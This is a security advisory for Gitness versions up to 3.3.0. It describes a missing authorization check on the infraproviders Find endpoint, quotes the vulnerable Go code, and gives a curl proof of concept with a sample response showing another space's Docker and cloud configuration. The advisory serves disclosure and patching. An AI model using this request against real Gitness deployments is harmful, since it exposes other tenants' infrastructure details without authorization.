InfraProvider configuration read without authorization in Gitness
Affected Versions: <= 3.3.0 (current HEAD)
Summary
The GET /api/v1/infraproviders/{identifier} endpoint in Gitness is missing authorization, allowing any authenticated user to read infrastructure provider configurations belonging to spaces they are not a member of.
Details
In app/api/controller/infraprovider/find.go, the Find controller method ignores the caller's session (_ *auth.Session) and has its access-control check commented out with a TODO:
func (c *Controller) Find(
ctx context.Context,
_ *auth.Session, // session is unused
spaceRef string,
identifier string,
) (*types.InfraProviderConfig, error) {
space, err := c.spaceFinder.FindByRef(ctx, spaceRef)
if err != nil {
return nil, fmt.Errorf("failed to find space: %w", err)
}
// todo: add acl check with PermissionInfraProviderView once infra provider resource is added to access control
// err = apiauth.CheckGitspace(ctx, c.authorizer, session, space.Path, identifier, enum.PermissionGitspaceView)
return c.infraproviderSvc.Find(ctx, space, identifier)
}This function is invoked by HandleFind in app/api/handler/infraprovider/find.go and routed at GET /api/v1/infraproviders/{infraprovider_identifier}. The chi URL parameter captures a URL-percent-encoded space-path+identifier ref (e.g., victim-space%2Fmy-provider decodes to victim-space/my-provider) which paths.DisectLeaf splits into spaceRef = "victim-space" and identifier = "my-provider".
All sibling operations — List, Create, Delete — correctly call apiauth.CheckInfraProvider(... enum.PermissionInfraProviderView/Edit/Delete). Only Find is missing the guard.
The returned InfraProviderConfig includes:
metadata(map[string]any) — free-form infrastructure configuration stored by admins: Docker host endpoints, API versions, TLS cert paths, cloud project identifiers, VPC references, etc.resources([]InfraProviderResource) — resource definitions includingmetadata,region,cpu,memory,disk,networksetup_yaml— a generated YAML file containing the full infrastructure setup specification for cloud providers (GCP, AWS)type— reveals the infrastructure provider type (docker, harness_gcp, hybrid_vm_gcp, hybrid_vm_aws, etc.)space_path— the owning space
PoC
Assuming Gitness is running at http://localhost:3000 and attacker has a valid session token but is not a member of victim-space:
# 1. Attacker lists known spaces (via spaces they do belong to, or public space enumeration)
# 2. Attacker calls Find with the target space's infraprovider ref:
curl -s -H "Authorization: Bearer <attacker_token>" \
"http://localhost:3000/api/v1/infraproviders/victim-space%2Fdocker-prod" | python3 -m json.toolExpected response (without authorization error):
{
"identifier": "docker-prod",
"name": "Production Docker",
"type": "docker",
"metadata": {
"docker_host": "tcp://10.0.1.50:2376",
"docker_tls_verify": "1",
"docker_cert_path": "/etc/docker/certs/prod"
},
"resources": [
{
"identifier": "standard",
"region": "us-east-1",
"cpu": "2",
"memory": "4GB",
"disk": "50GB",
"metadata": {}
}
],
"setup_yaml": "",
"space_path": "victim-space",
"created": 1718900000000,
"updated": 1718900000000
}The attacker receives the full infrastructure configuration with no 401/403 response.
Impact
Any authenticated Gitness user can read the complete infrastructure provider configuration of any space in the system, including infrastructure endpoints, cloud provider types, resource specifications, and setup YAML files. In multi-tenant Gitness deployments (teams sharing a single Gitness instance), this allows a user from one team to discover and read the full infrastructure topology of another team's workspaces, including Docker daemon endpoints and cloud provider region/network configurations.
Source: harness/harness